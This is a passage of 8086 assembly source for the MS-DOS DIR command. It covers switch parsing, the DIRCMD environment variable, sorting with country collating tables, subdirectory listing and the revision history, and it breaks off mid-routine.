line, without additional information. Good for making batch files or for piping. When used with /s, complete pathnames are listed. /s Descend subdirectory tree. Performs command on current or specified directory, then for each subdirectory below that directory. Directory header and footer is displayed for each directory where matching files are found, unless used with /b. /b suppresses headers and footers. Tree is explored depth first, alphabetically within the same level. Bugbug: hidden directories aren't searched. /l Display file names, extensions and paths in lowercase. ;M010 /o Sort order. /o alone sorts by default order (dirs-first, name, extension). A sort order may be specified after /o. Any of the following characters may be used: nedsg (name, extension, date/time, size, group-dirs-first). Placing a '-' before any letter causes a downward sort on that field. E.g., /oe-d means sort first by extension in alphabetical order, then within each extension sort by date and time in reverse chronological order. /a Attribute selection. Without /a, hidden and system files are suppressed from the listing. With /a alone, all files are listed. An attribute list may follow /a, consisting of any of the following characters: hsdar (hidden, system, directory, archive, read-only). A '-' before any letter means 'not' that attribute. E.g., /ar-d means files that are marked read-only and are not directory files. Note that hidden or system files may be included in the listing. They are suppressed without /a but are treated like any other attribute with /a. /? Help listing. Display DIR useage information. ;M008;Handled externally /h has been removed. ;M008 DIRCMD An environment variable named DIRCMD is parsed before the DIR command line. Any command line options may be specified in DIRCMD, and become defaults. /? will be ignored in DIRCMD. A filespec may be specified in DIRCMD and will be used unless a filespec is specified on the command line. Any switch specified in DIRCMD may be overridden on the command line. If the original DIR default action is desired for a particular switch, the switch letter may be preceded by a '-' on the command line. E.g., /-w use long listing format /-p don't page the listing /-b don't use bare format /-s don't descend subdirectory tree /-o display files in disk order /-a suppress hidden and system files Notes: ------ For sorted listings, file entries are loaded into the TPA buffer, which is usually about 64K in size. This allows sorts of up to 3000 files at a time. Each entry takes up 21 bytes in the buffer (see EntryStruc below). The byte after the last entry is 0FFh. The first byte of each entry is a flag byte which is made zero when the entry is loaded, and made one when the entry is used. Revision History ================ M01 md 7/13/90 Use ROM BIOS data area to obtain screen height in the absence of ANSI.SYS M007 sa 8/1/90 Allow /p/b combination M008 sa 8/1/90 Remove /h parameter. Eliminate code used to internally handle /? message. M010 sa 8/5/90 Add support for /l (lowercase) option. M011 sa 8/5/90 Patch up bug where MS-DOS does not load the first FCB with the drive number when the drive letter in the command line is preceded by a switch. Now dir manually loads the drive number after parsing. M018 md 8/12/90 Increment the screen height by 1 when obtained from the ROM BIOS. M023 sa 8/31/90 Prevent DIR from failing if it encounters a subdirectory having len(pathname)>MAXPATH. Just skip over that subdirectory. M028 dbo 9/24/90 When country=US, sort by strict character byte value, rather than collating table. This to match MS-DOS Shell's sort order. ========================================================================= % ;*** SYMBOLS & MACROS .xlist .xcref include comsw.asm ; get COMMAND version switches include dossym.inc ; get DOS basic symbol set include syscall.inc ; get DOS call names include doscntry.inc ; get extended country info symbols include bpb.inc include filemode.inc include find.inc include comseg.asm ; define segment order include comequ.asm ; get equates for COMMAND routines include ioctl.inc ; get symbols for ioctl's include rombios.inc ; get ROM BIOS data definition .list .cref ;M008;NUM_DIR_SWS reduced by 2 for /h,/? not used ;M010;NUM_DIR_SWS increased by 2 for /l,/-l NUM_DIR_SWS equ 14 ; # of dir switch synonyms in Dir_Sw_Ptrs list ;M010;'lcase' replaces removed 'help' in OptionRec OptionRec record inmem:1,lcase:1,bare:1,subd:1,pagd:1,wide:1 ; on/off bit record for /l, /b, /s, /p, /w options ; (order is hard-coded; see OnOffSw) ; Inmem is set when entries are loaded in memory. NUM_ATTR_LTRS equ 6 ; length of attribute letter list NUM_ORDER_LTRS equ 5 ; length of sort order letter list ResultBuffer struc ; structure of parse result buffer ValueType db ? ValueTag db ? SynPtr dw ? ValuePtr dd ? ResultBuffer ends ErrorRec record baddir:1,dev:1 ; Error bits are: ; Invalid directory format ; File is device EntryStruc struc ; our private directory entry structure used db ? ; =0 until entry used, then =1 filename db 8 dup (?) ; filename fileext db 3 dup (?) ; extension fileattr db ? ; file attributes filetime dw ? ; file time filedate dw ? ; file date filesize dd ? ; file size EntryStruc ends shove macro val ; hose-bag 8086 doesn't push immediate mov ax,val ; invisible, dangerous use of AX! push ax endm ;*** DATA DATARES segment public byte extrn Append_Flag:byte ; true when APPEND needs to be reset extrn Append_State:word ; state to reset APPEND to DATARES ends TRANDATA segment public byte extrn AttrLtrs:byte ; list of attribute letters extrn BadCd_Ptr:word ; "invalid directory" msg block extrn Bytes_Ptr:word ; "%1 bytes" msg block extrn BytMes_Ptr:word ; "%1 bytes free" msg block extrn DirCont_Ptr:word ; "(continuing %1)" msg block extrn DirDat_Yr:word ; year field of date msg block extrn DirDat_Mo_Day:word ; month/day field of date msg block extrn DirDatTim_Ptr:word ; date/time msg block extrn DirEnvVar:byte ; DIR environment variable name extrn DirHead_Ptr:word ; directory header message block extrn DirMes_Ptr:word ; "%1 File(s)" msg block extrn DirTim_Hr_Min:word ; time field of msg block extrn Dir_Sw_Ptrs:word ; list of DIR switch synonym ptrs extrn Disp_File_Size_Ptr:word ; file size message block extrn DMes_Ptr:word ; <DIR> message block extrn ErrParsEnv_Ptr:word ; "(Error occurred in env.." msg blk extrn Extend_Buf_Ptr:word ; extended error message block extrn Extend_Buf_Sub:byte ; # substitions in message block extrn Msg_Disp_Class:byte ; message display class extrn OrderLtrs:byte ; list of sort order letters extrn Parse_Dir:byte ; DIR parse block extrn String_Buf_Ptr:word ; message block ptr to string extrn Tab_Ptr:word ; tab output block extrn Total_Ptr:word ; "Total:" msg block TRANDATA ends TRANSPACE segment public byte extrn AttrSelect:byte ; attribute select states - extrn AttrSpecified:byte ; attribute mask - ; Attribute conditions are recorded in two steps. ; AttrSpecified indicates which attributes are to be checked. ; AttrSelect indicates which state the specified attributes ; must be in for a file to be included in the listing. ; Attributes not indicated in AttrSpecified are ignored when ; deciding which files to include. extrn Bits:word ; some option flags (see OptionRec) extrn BwdBuf:byte ; 'build working dir string' buf extrn BytCnt:word ; # bytes in TPA extrn Bytes_Free:word ; #bytes free for BytMes_Ptr msg block extrn CharBuf:byte ; character string buffer extrn ComSw:word ; error bits (see ErrorRec) extrn CountryPtrInfo:byte ; buffer for collating table ptr extrn CountryPtrId:byte ; info ID for collating table ptr extrn CountryPtr:dword ; collating table ptr extrn CurDrv:byte ; current drive # (0-based) extrn DestBuf:byte ; null-terminated sort codes - ; Sort order is specified as a series of 0 to 5 sort code ; bytes, followed by a zero byte. ; Codes are 1=name, 2=extension, 3=date&time, 4=size, and ; 5=filetype (subdir or not). ; Bit 7 of code is set for a downwards sort. extrn DestIsDir:byte ; indicator of delim char's in path extrn DestTail:word ; ptr to filename in pathname extrn Dir_Num:word ; #files for DirMes_Ptr msg block extrn DirBuf:byte ; DTA buffer for DOS calls extrn DirFlag:byte ; signal to PathCrunch routine extrn Display_Ioctl:word ; display info block for IOCTL call extrn EndDestBuf:byte ; end of DestBuf (sort order codes) extrn File_Size_High:word ; field for file size message block extrn File_Size_Low:word ; field for file size message block extrn FileCnt:word ; file count in a single directory extrn FileCntTotal:dword ; file count in all directories extrn FileSiz:dword ; file sizes in a single directory extrn FileSizTotal:dword ; file sizes in all directories extrn InternatVars:byte ; buffer for international info extrn LeftOnLine:byte ; entries left on current display line extrn LeftOnPage:word ; lines left on page extrn LinPerPag:word ; lines/page entry in Display_Ioctl extrn Msg_Numb:word ; extended error code extrn OldCtrlCHandler:dword ; old int 23 vector extrn Parse1_Syn:word ; ptr to matched synonym extrn PathCnt:word ; length of pathname (see PathPos) extrn PathPos:word ; ptr to pathname buffer (see SrcBuf) extrn PerLine:byte ; # entries per line extrn ResSeg:word ; RESGROUP seg addr extrn ScanBuf:byte ; buffer for environment value and ; subdirectory names extrn SrcBuf:byte ; pathname buffer extrn String_Ptr_2:word ; message substitution string ptr extrn Tpa:word ; TPA buffer seg addr TRANSPACE ends ;*** PRINCIPAL ROUTINES TRANCODE segment public byte extrn CError:near ; COMMAND error recycle point public Catalog ; our entry point break <DIR (Catalog) principal routines> assume cs:TRANGROUP,ds:TRANGROUP,es:nothing,ss:TRANGROUP ; Bugbug: Each routine should start with it's own ASSUME. ;*** Catalog - DIR command main routine ; ; ENTRY FCB #1 in PSP has drive# from cmd-line or default ; Cmd-line tail text is at 81h, terminated by 0Dh ; CS, DS, ES, SS = TRANGROUP seg addr ; Tpa = TPA buffer seg addr ; BytCnt = # bytes in TPA buffer ; ; EXIT nothing ; ; USED AX,BX,CX,DX,SI,DI,BP ; ; ERROR EXITS ; ; Errors are handled by setting up error message pointers ; for Std_EPrintf and jumping to CError. Syntax errors in ; the environment variable, however, are handled by printing ; an error message and continuing. ; ; EFFECTS ; ; Directory listing is displayed (on standard output). ; APPEND is disabled. HeadFix routine is expected to ; restore APPEND state. ; Working directory may be changed. The user's default ; directory is saved and flagged for restoration by RestUDir ; during COMMAND cycle. ; Lots of variables may be changed in TRANSPACE segment. ; ; NOTES ; ; ES = TRANGROUP seg addr except when used to address the ; the TPA buffer, where directory entries are loaded from disk. Catalog proc call SetDefaults call ParseEnvironment call ParseCmdLine jnc @F ; no parse error jmp catErr ; error msg is set up @@: call SetOptions call SetCollatingTable ; Drive # to operate on has already been placed in FCB by ; COMMAND preprocessing. OkVolArg & PathCrunch depend on that. test Bits,mask bare jnz @F ; don't display volume info for /b invoke OkVolArg ; find & display volume info sub LeftOnPage,2 ; record display lines used by volume info jmp short catCrunch ; OkVolArg side effects: ; APPEND is disabled; ; DTA established at DirBuf; ; Filename fields in FCB are wildcarded. @@: ; OkVolArg wasn't executed, so we have to do these ourselves. invoke DisAppend ; disable APPEND mov dx,offset TRANGROUP:DirBuf mov ah,Set_DMA int 21h ; set DTA mov di,FCB ; ES:DI = ptr to FCB inc di ; ES:DI = ptr to filename field of FCB mov al,'?' ; AL = wildcard character mov cx,11 rep stosb ; wildcard filename field catCrunch: call CrunchPath ; crunch pathname to get directory and filename jc catRecErr ; handle recorded or extended error ; User's directory has been saved, we've changed to specified directory. ; ComSw = error bits for later use ; FCB contains parsed filename cmp ComSw,0 jne catRecErr ; handle recorded error call InstallCtrlC ; install control-C handler call ZeroTotals ; zero grand totals call ListDir ; list main directory jc catExtErr test Bits,mask subd jz @F ; subdirectories option not set call ListSubds ; list subdirectories jc catExtErr @@: ; Check if any files were found. test Bits,mask bare jnz catRet ; don't bother for bare format mov ax,word ptr FileCntTotal or ax,ax jz catNoFiles ; no files found call DisplayTotals ; display trailing grand totals jmp short catRet ; all done catRecErr: ; ComSw may have error bit set. If not, do extended error. test ComSw,mask dev jnz catNoFiles ; filename is device, respond 'file not found' test ComSw,mask baddir jz catExtErr ; no ComSw error bits, must be extended error mov dx,offset TRANGROUP:BadCd_Ptr ; invalid directory jmp short catErr catNoFiles: ; Display header and force 'file not found' message. call DisplayHeader mov ax,ERROR_FILE_NOT_FOUND mov Msg_Disp_Class,EXT_MSG_CLASS mov dx,offset TRANGROUP:Extend_Buf_ptr mov Extend_Buf_ptr,ax jmp short catErr catExtErr: ; DOS has returned an error status. Get the extended error#, and ; set up an error message, changing 'No more files' error ; to 'File not found' error. invoke Set_Ext_Error_Msg cmp Extend_Buf_Ptr,ERROR_NO_MORE_FILES jne @F mov Extend_Buf_Ptr,ERROR_FILE_NOT_FOUND @@: ; Error exit. Error message information has been set up ; for Std_EPrintf. catErr: jmp CError ; go to COMMAND error recycle point catRet: ret Catalog endp ;*** SetDefaults - set default pathname, options ; ; ENTRY DS = TRANGROUP seg addr ; ; EXIT nothing ; ; USED AX,DI ; ; EFFECTS ; SrcBuf = '*',EOL - default pathname ; PathPos = ptr to pathname ; PathCnt = length of pathname SetDefaults proc mov di,offset TRANGROUP:SrcBuf ; DI = ptr to pathname buffer mov PathPos,di ; PathPos = ptr to pathname mov al,STAR stosb mov al,END_OF_LINE_IN stosb ; SrcBuf = '*',0Dh mov PathCnt,1 ; PathCnt = pathname length xor ax,ax ; AX = 0 mov ComSw,ax ; = no error mov Bits,ax ; = options off mov DestBuf,al ; = no sort mov AttrSpecified,ATTR_HIDDEN+ATTR_SYSTEM mov AttrSelect,al ; exclude hidden, system files ret SetDefaults endp ;*** ParseEnvironment - find and parse our environment variable ; ; Find our environment variable and parse it. If a parse ; error occurs, issue an error message. The parse results ; up to the error will still have effect. Always leave ; the option variables in a useable state. ; ; ENTRY DS = TRANGROUP seg addr ; ; EXIT nothing ; ; USED AX,BX,CX,DX,SI,DI ; ; EFFECTS ; ; Bits may contain new option settings. ; DestBuf may contain new series of sort codes. ; AttrSpecified, AttrSelect may contain new attribute conditions. ; SrcBuf may contain a new default pathname/filespec. ; PathPos, PathCnt updated for new pathname. ; ; If a parse error occurred, an error message will be issued. ParseEnvironment proc call GetEnvValue ; get environment variable value jc peRet ; name not found in environment ; SI = ptr to value of environment variable, in TRANGROUP seg call ParseLine ; parse environment value cmp ax,END_OF_LINE je peRet ; successful completion ; Some kind of parse error occurred. ; We're set up for a Std_EPrintf call. invoke Std_EPrintf ; display the parse error mov Msg_Disp_Class,UTIL_MSG_CLASS ; restore default msg class mov dx,offset TRANGROUP:ErrParsEnv_Ptr invoke Printf_Crlf ; "(Error occurred in environment.." ;M008;Internal handling of /? removed ;peOk: and Bits,not mask help ; disallow /h in environment variable peRet: ret ParseEnvironment endp ;*** ParseCmdLine - parse and record command line parameters ; ; ENTRY PSP offset 81h is beginning of cmd line buffer ; DS, ES, CS = TRANGROUP seg addr ; ; EXIT CY = set if parse error occurred ; ; If parse error occurred, we're set up for Std_EPrintf call: ; AX = system parser error code ; DX = ptr to message block ; ; USED AX,BX,CX,DX,SI,DI ; ; EFFECTS ; ; Bits may contain new option settings. ; DestBuf may contain new series of sort codes. ; AttrSpecified, AttrSelect may contain new attribute conditions. ; SrcBuf may contain a new default pathname/filespec. ; PathPos, PathCnt updated for new pathname. ; ; If parse error occurred, we're set up for Std_EPrintf call: ; Msg_Disp_Class = parse error class ; Byte after last parameter in text is zeroed to make ASCIIZ string ; Message block (see DX) is set up for parse error message ParseCmdLine proc mov si,81h ; SI = ptr to cmd-line tail text call ParseLine ; parse cmd line tail cmp AX,END_OF_LINE je pcOk ; parse completed successfully ; A parse error occurred. We're all set up for message output. stc ; return failure jmp short pcRet pcOk: clc ; return success pcRet: ret ParseCmdLine endp ;*** SetCollatingTable - set up character collating table for sorting ; ; If country is other than USA, try to get a collating table ; for character sorting. For USA, use straight byte values. ; This is so DIR behaves like the MS-DOS Shell, which sorts ; by straight byte values in the USA for better performance. ; ; ENTRY ES = TRANGROUP seg addr ; ; EXIT nothing ; ; USED AX,BX,CX,DX,DI ; ; EFFECTS ; ; If collating table is set - ; CountryPtrId = 6. ; CountryPtr points to collating table. ; ; Otherwise - ; CountryPtrId = 0. SetCollatingTable proc ; Begin modification M028 mov dx,offset TRANGROUP:InternatVars ; DS:DX = ptr to international info buffer mov ax,INTERNATIONAL shl 8 ; AX = 'Get current country info' int 21h ; call DOS jc scNoTable ; error - so don't collate ; BX = country code cmp bx,1 je scNoTable ; we're in USA, don't collate ; End modification M028 ;* Country code is other than USA. Try to get a collating table. mov ax,(GETEXTCNTRY shl 8) + SETCOLLATE ; AH = 'Get Extended Country Info' ; AL = 'Get Pointer to Collating Table' mov bx,-1 ; BX = code page of interest = CON mov cx,5 ; CX = length of info buffer mov dx,bx ; DX = country ID = default mov di,offset TRANGROUP:CountryPtrInfo ; ES:DI = ptr to info buffer int 21h ; call DOS jnc scRet ; success ;* Set CountryPtrId = 0 to signal no collating table. scNoTable: ;M028 mov CountryPtrId,0 scRet: ret SetCollatingTable endp ;*** SetOptions - check and set options ; ; ENTRY nothing ; ; EXIT nothing ; ; USED AX,BX,CX,DX ; ; EFFECTS ; ; Bits may contain modified option settings. ; Display_Ioctl table, including LinPerPag variable, is filled in. ; LeftOnPage is initialized to # lines till end of page is handled. ; PerLine is set according to /w presence. SetOptions proc ; If bare listing requested, cancel wide listings. test Bits,mask bare jz @F and Bits,not mask wide ;M007;Allow /p with /b @@: ; Set # lines per display page. ;M01 Obtain screen height from ROM BIOS data area ; ;M01 mov LinPerPag,LINESPERPAGE ; default value ifndef JAPAN push ds MOV AX,ROMBIOS_DATA ; Get ROM Data segment MOV DS,AX ; Assume DS:ROMBIOS_DATA MOV al,CRT_Rows ; Get max rows pop ds ; Assume DS:Trangroup or al,al ; If zero specified jnz @F ; endif MOV al,LINESPERPAGE ; assume 24 rows @@: xor ah,ah ifndef JAPAN inc al ; height + 1 ;M018 endif mov LinPerPag,ax ; set the rows now ; Now the console driver can change the rows if it knows better (M01 end) mov ax,(IOCTL shl 8)+GENERIC_IOCTL_HANDLE ; IOCTL for handles mov bx,STDOUT ; handle # mov ch,IOC_SC ; screen mov cl,GET_GENERIC ; get display info mov dx,offset TRANGROUP:Display_Ioctl ; info block int 21h ; call DOS mov ax,LinPerPag ; AX = # lines per page mov LeftOnPage,ax ; initialize # lines left on page ; Set # entries per line. mov PerLine,NORMPERLIN ; # entries per line without /w test Bits,mask wide jz @F mov PerLine,WIDEPERLIN ; # entries per line with /w @@: ;M011;start;The following code checks if a drive ;letter has been parsed into SrcBuf, and if ;so, the correct drive number is loaded into ;the first FCB, at offset 5C. cmp TRANGROUP:[SrcBuf+1],COLON_CHAR ; is this a drive letter? jne soRet mov al,TRANGROUP:[SrcBuf] ; load drive letter into al and al,not 20h ; capitalize ASCII drive letter (LowerCase-32)-->UpperCase sub al,'@' ; convert to 1-based number (1=A) mov ds:FCB,al ; store in first FCB ;M011;end soRet: ret SetOptions endp ;*** CrunchPath - analyze supplied or default pathname ; ; ENTRY PathPos = ptr to pathname buffer ; PathCnt = length of pathname, not incl trailing delimiter ; Pathname in buffer must end in delimiter (like CR) and ; must have space for another char after the delimiter. ; ; EXIT CY = clear if no error ; We are changed to directory found in pathname ; Previous directory ready to be restored via RestUDir ; FCB filename fields contain filename (possibly w/ wildcards) ; ; If error occurred, ; CY = set ; ComSw = error bits (see ErrorRec) ; If ComSw not set, ; Ready for DOS Get Extended Error call CrunchPath proc call FileIsDevice jne @F ; not a device, skip ahead or ComSw,mask dev ; signal file is device jmp short cpErr ; return error @@: push PathPos ; save ptr to pathname mov DirFlag,-1 ; tell PathCrunch not to parse file into FCB invoke PathCrunch ; change to directory in pathname mov DirFlag,0 ; reset our little flag pop si ; SI = ptr to pathname jc cpNoDir ; didn't find directory path jz cpRet ; found directory path w/ no filename ; - leave wildcard default in FCB and return ;* We found a directory, and there was a filename attached. ; DestTail = ptr to ASCIIZ filename mov si,DestTail ; SI = ptr to filename jmp short cpFile ; go parse the file into FCB ;* PathCrunch failed to find a directory in the pathname. ; ; Msg_Numb = error code ; DestIsDir = nonzero if path delimiter char's occur in pathname ; SI = ptr to pathname (now an ASCIIZ string) cpNoDir: mov ax,Msg_Numb ; AX = error code from PathCrunch or ax,ax jnz cpErr ; error occurred - return it cmp DestIsDir,0 je cpMaybe ; no path delimiters seen, maybe it's a file or ComSw,mask baddir ; signal invalid directory name jmp short cpErr ; return error cpMaybe: ; SI = ptr to pathname cmp byte ptr [si+1],COLON_CHAR jnz @F ; no drive specifier, skip ahead lodsw ; SI = ptr past drive specifier "d:" @@: cmp [si],".." jne cpFile ; if not "..", treat as a file cmp byte ptr [si+2],0 jne cpFile ; or if there's more after "..", treat as file or ComSw,mask baddir ; signal invalid directory jmp short cpErr ; return error ; The preceding code was taken from the old DIR routine. ; It's garbage, I'm afraid. It's meant to check for ".." ; occurring when we're at the root directory. Too bad it ; doesn't handle problems with "..\..", etc. ; We're ready to parse a filename into the FCB. ; SI = ptr to ASCIIZ filename cpFile: mov di,FCB ; DI = ptr to FCB mov ax,(PARSE_FILE_DESCRIPTOR shl 8) or 0Eh ; wildcards already in FCB used as defaults int 21h clc ; return success jmp short cpRet cpErr: stc ; return error cpRet: ret CrunchPath endp ;*** InstallCtrlC - install our private control-C handler ; ; Put our control-c handler in front of command.com's default ; handler, to make sure the user's default directory gets restored. ; This shouldn't be necessary, but, for now, there are situations ; where the TDATA segment is left in a modified state when a ; control-c occurs. This means that the transient will be ; reloaded, and the user's directory cannot be restored. ; ; Bugbug: fix the wider problem? Involves message services. Ugly. ; ; ENTRY nothing ; ; EXIT nothing ; ; USED AX,BX,DX ; ; EFFECTS ; ; CtrlCHandler address placed in int 23 vector. ; ; NOTE ; ; Command.com's basic control-c handler will be restored ; to the int 23 vector by the HeadFix routine, after DIR finishes. InstallCtrlC proc push es ; preserve ES mov ax,(GET_INTERRUPT_VECTOR shl 8) + 23h int 21h mov word ptr OldCtrlCHandler,bx ; save old int 23 vector mov word ptr OldCtrlCHandler+2,es pop es ; restore ES mov dx,offset TRANGROUP:CtrlCHandler ; DS:DX = ptr to CtrlCHandler mov ax,(SET_INTERRUPT_VECTOR shl 8) + 23h int 21h ret InstallCtrlC endp ;*** ListSubds - search and list files in subdirectories ; ; ENTRY Current directory (on selected drive) is top of subdir tree ; FCB is still set up for file searches ; Bits, AttrSpecified, AttrSelect, DestBuf all still set up ; ; EXIT CY = clear if no error ; FileCnt = # files found & displayed ; FileSiz = total size of files found ; ; If error, ; CY = set ; Ready for DOS Get Extended Error call ; ; USED AX,BX,CX,DX,SI,DI,BP ; ; EFFECTS ; ; FileCntTotal, FileSizTotal are updated. ; Subdirectories may be listed on standard output device. ; ; NOTES ; ; ListSubds seeds the recursive entry point lsNode with a ptr ; to a buffer where we'll stack up subdirectory filenames. ; Each name is stored ASCIIZ. ListSubds proc invoke SetRest1 ; make sure user's dir gets restored mov bx,offset TRANGROUP:ScanBuf ; BX = ptr to child name buffer lsNode: mov byte ptr ds:[bx],0 ; start with null child name lsLoop: call FindNextChild ; search for next subdirectory jc lsErr ; search failed - examine error mov dx,bx ; DX = ptr to child's name call ChangeDir ; enter child directory ; M023;start jnc @F ; check for error cmp ax,ERROR_PATH_NOT_FOUND ; error due to len(pathname)>MAXPATH? je lsLoop ; yes, skip over this subdirectory jmp SHORT lsRet ; no, other error: DIR must fail ; M023;end @@: push bx call ListDir ; list the directory pop bx ; Note we're ignoring errors returned here. mov di,bx ; DI = ptr to child's name mov cx,13 ; CX = max name length w/ null xor al,al ; AL = zero byte to look for repne scasb ; DI = ptr to next name pos'n in buf push bx ; save ptr to child's name mov bx,di ; BX = ptr to next name pos'n in buf call lsNode ; recurse from new node pop bx ; BX = ptr to child's name pushf ; save error condition shove 0 shove ".." mov dx,sp ; DX = ptr to "..",0 on stack call ChangeDir ; return to parent directory pop ax ; restore stack pop ax popf ; restore error condition from child jc lsRet ; return error jmp lsLoop ; look for more children lsErr: invoke Get_Ext_Error_Number ; AX = extended error code cmp ax,ERROR_FILE_NOT_FOUND je lsRet ; file not found, we're ok cmp ax,ERROR_NO_MORE_FILES je lsRet ; no more files, we're ok stc ; return other errors lsRet: ret ListSubds endp break <DIR support routines> ;*** SUPPORT ROUTINES ;*** CheckChild - check potential subdirectory name for FindNextChild ; ; ENTRY DirBuf contains DOS Find-buffer with potential child ; BX = ptr to last child's name ; BP = ptr to temp child's name ; ; EXIT nothing ; ; USED AX,CX,SI,DI ; ; EFFECTS ; ; Filename pointed to by BP may be changed. ; ; NOTES ; ; Potential filename replaces temp filename if: ; it's a subdirectory file; ; it doesn't start with a '.'; ; it's alphanumerically greater than last child's name; ; and it's alphanumerically less than temp name. CheckChild proc test DirBuf.find_buf_attr,ATTR_DIRECTORY jz ccRet ; not a subdirectory file- return cmp DirBuf.find_buf_pname,'.' je ccRet ; starts with a dot- return mov si,offset TRANGROUP:DirBuf+find_buf_pname mov di,bx call CmpAscz ; compare candidate to last child's name jna ccRet ; it's not above it- return mov si,offset TRANGROUP:DirBuf+find_buf_pname mov di,bp call CmpAscz ; compare candidate to temp name jnb ccRet ; it's not below it- return ; New kid is alright. Copy to temp. mov si,offset TRANGROUP:DirBuf+find_buf_pname mov di,bp mov cx,13 rep movsb ccRet: ret CheckChild endp ;*** CmpEntry - compare one directory entry to another in sort order ; ; Compare one directory entry against another according to ; the sort codes in DestBuf. One or more comparisons ; may be made of file name, extension, time/date, and ; size. Comparisons may be made for upward or downward ; sort order. ; ; ENTRY ES:BX = ptr to entry to compare ; ES:BP = ptr to entry to be compared against ; DestBuf contains sort codes (see DestBuf) ; DS = TRANGROUP seg addr ; ; EXIT BX = unchanged ; BP = unchanged ; Condition flags set for same, above, or below ; comparing BX entry against BP entry. ; 'Same, above, below' translate to 'same, after, before'. ; ; USED: AX,CX,DX,SI,DI CmpEntry proc mov si,offset TRANGROUP:DestBuf ; (DS:SI) = ptr to sort codes ceLoop: xor ax,ax ; AX = 0 mov al,[si] ; AL = sort code or al,al jz ceDone ; sort code is zero, we're done inc si ; DS:SI = ptr to next sort code push si ; save ptr to next sort code dec al sal al,1 ; AX = index into cmp call table ; CY set for downward sort order mov si,ax ; SI = index into cmp call table mov ax,cs:FieldCmps[si] ; AX = addr of compare routine jc ceDn ; downwards sort - go swap entries call ax ; do upwards sort jmp short @F ceDn: xchg bx,bp ; swap entry ptrs for downward sort order call ax ; do sort xchg bx,bp ; swap ptrs back @@: pop si ; SI = ptr to next sort code je ceLoop ; compare showed no difference, keep trying ceDone: ; Get here either from unequal compare or sort code = 0. ; In the latter case, condition codes indicate equality, ; which is correct. ret FieldCmps label word ; call table of entry comparisons dw CmpName dw CmpExt dw CmpTime dw CmpSize dw CmpType CmpEntry endp ;*** CmpName - compare file name of two entries ;*** CmpExt - compare extension of two entries ; ; ENTRY ES:BX = ptr to one entry ; ES:BP = ptr to another entry ; ; EXIT BX = unchanged ; BP = unchanged ; Condition flags set for same, above, or below ; comparing BX entry to BP entry. ; ; USED: AX,CX,DX,SI,DI CmpName proc mov si,bx ; ES:SI = ptr to BX entry mov di,bp ; ES:DI = ptr to BP entry add si,filename ; ES:SI = ptr to BX name add di,filename ; ES:DI = ptr to BP name mov cx,size filename; CX = length of name jmp short CmpStr CmpExt: mov si,bx ; ES:SI = ptr to BX entry mov di,bp ; ES:DI = ptr to BP entry add si,fileext ; ES:SI = ptr to BX extension add di,fileext ; ES:DI = ptr to BP extension mov cx,size fileext ; CX = length of extension field ; Bugbug: use symbol for subfunction code. CmpStr: cmp CountryPtrId,6 jne cnNoCollTable ; no collating table available ;* Compare strings using collating table. ; ; ES:SI = ptr to 1st string ; ES:DI = ptr to 2nd string ; CX = length push bp ; preserve BP push bx ; preserve BX push ds ; preserve DS lds bx,CountryPtr ; DS:BX = ptr to collating table assume ds:NOTHING mov bp,ds:[bx] ; BP = size of collating table inc bx inc bx ; DS:BX = ptr to collating values ; DS:[BX]-2 = size of table xor ax,ax ; AX = 0 for starters ; Bugbug: Investigate removing collating table length checks. cnNextChar: mov al,es:[di] ; AL = AX = char from 2nd string inc di ; ES:DI = ptr to next char 2nd string cmp ax,bp ; compare to collating table length jae @F ; char not in table xlat @@: ; AL = AX = collating value mov dx,ax ; DX = collating value from 2nd string lods byte ptr es:[si] ; AL = AX = char from 1st string ; ES:SI = ptr to next char 1st string cmp ax,bp ; compare to collating table length jae @F ; char not in table xlat @@: ; AL = AX = collating value cmp ax,dx ; compare collating values ifdef DBCS ; DBCS tail byte must not use ; collating table jnz cnNot_Same mov al,es:[di-1] ; get previous 2nd string character invoke testkanj jz cnDo_Next ; if it was not DBCS lead byte mov al,es:[di] ; get tail byte from 2nd string cmp es:[si],al ; compare with 1st strings tail byte jnz cnNot_Same inc si ; pass tail byte inc di dec cx cnDo_Next: loop cnNextChar cnNot_Same: else ; Not DBCS loope cnNextChar ; until unequal or no more left endif pop ds ; restore DS assume ds:TRANGROUP pop bx ; restore BX pop bp ; restore BP ret ;* If no collating table is available, simply compare raw ASCII values. ; Don't we wish we could just do this all the time? Sigh. cnNoCollTable: rep cmps byte ptr es:[si],[di] ret CmpName endp ;*** CmpTime - compare entries by date/time ; ; ENTRY ES:BX = ptr to one entry ; ES:BP = ptr to another entry ; ; EXIT BX = unchanged ; BP = unchanged ; Condition flags set for same, above, or below ; comparing BX entry to BP entry. ; ; USED: CX,SI,DI ; ; NOTE Filetime and filedate fields in our private entry ; structure must be adjacent and in that order. CmpTime proc mov si,bx mov di,bp add si,filedate + size filedate - 1 add di,filedate + size filedate - 1 mov cx,size filetime + size filedate std repe cmps byte ptr es:[si],[di] cld ret CmpTime endp ;*** CmpSize - compare entries by size ; ; ENTRY ES:BX = ptr to one entry ; ES:BP = ptr to another entry ; ; EXIT BX = unchanged ; BP = unchanged ; Condition flags set for same, above, or below ; comparing BX entry to BP entry. ; ; USED: CX,SI,DI CmpSize proc mov si,bx mov di,bp add si,filesize + size filesize - 1 add di,filesize + size filesize - 1 mov cx,size filesize std repe cmps byte ptr es:[si],[di] cld ret CmpSize endp ;*** CmpType - compare entries by file type (subdirectory or not) ; ; ENTRY ES:BX = ptr to one entry ; ES:BP = ptr to another entry ; ; EXIT BX = unchanged ; BP = unchanged ; Condition flags set for same, above, or below ; comparing BX entry to BP entry. ; ; USED: AX CmpType proc mov al,es:[bx].fileattr mov ah,es:[bp].fileattr and ax,(ATTR_DIRECTORY shl 8) + ATTR_DIRECTORY cmp ah,al ret CmpType endp ;*** DefaultAttr - set default attribute conditions ; ; ENTRY nothing ; ; EXIT CY clear ; ; USED ; ; EFFECTS ; ; AttrSpecified, AttrSelect are updated with new attribute conditions. DefaultAttr proc mov AttrSpecified,ATTR_HIDDEN+ATTR_SYSTEM ; specify H and S mov AttrSelect,0 ; H and S must be off clc ; return success ret DefaultAttr endp ;*** DisplayTotals - display grand total stats ; ; If we searched subdirectories, display the total # files found ; and total size of files found. ; Display disk space remaining. ; ; ENTRY FileCntTotal, FileSizTotal contain correct values ; Bits contains setting of /s ; FCB contains drive # ; ; EXIT nothing ; ; USES AX,DX ; FileSiz DisplayTotals proc test Bits,mask subd jz dtFree ; no subdirectories- do bytes free invoke Crlf2 ; start on new line call UseLine mov dx,offset TRANGROUP:Total_Ptr invoke Std_Printf ; "Total:",cr,lf call UseLine mov ax,word ptr FileCntTotal ; AX = # files found mod 64K mov si,offset 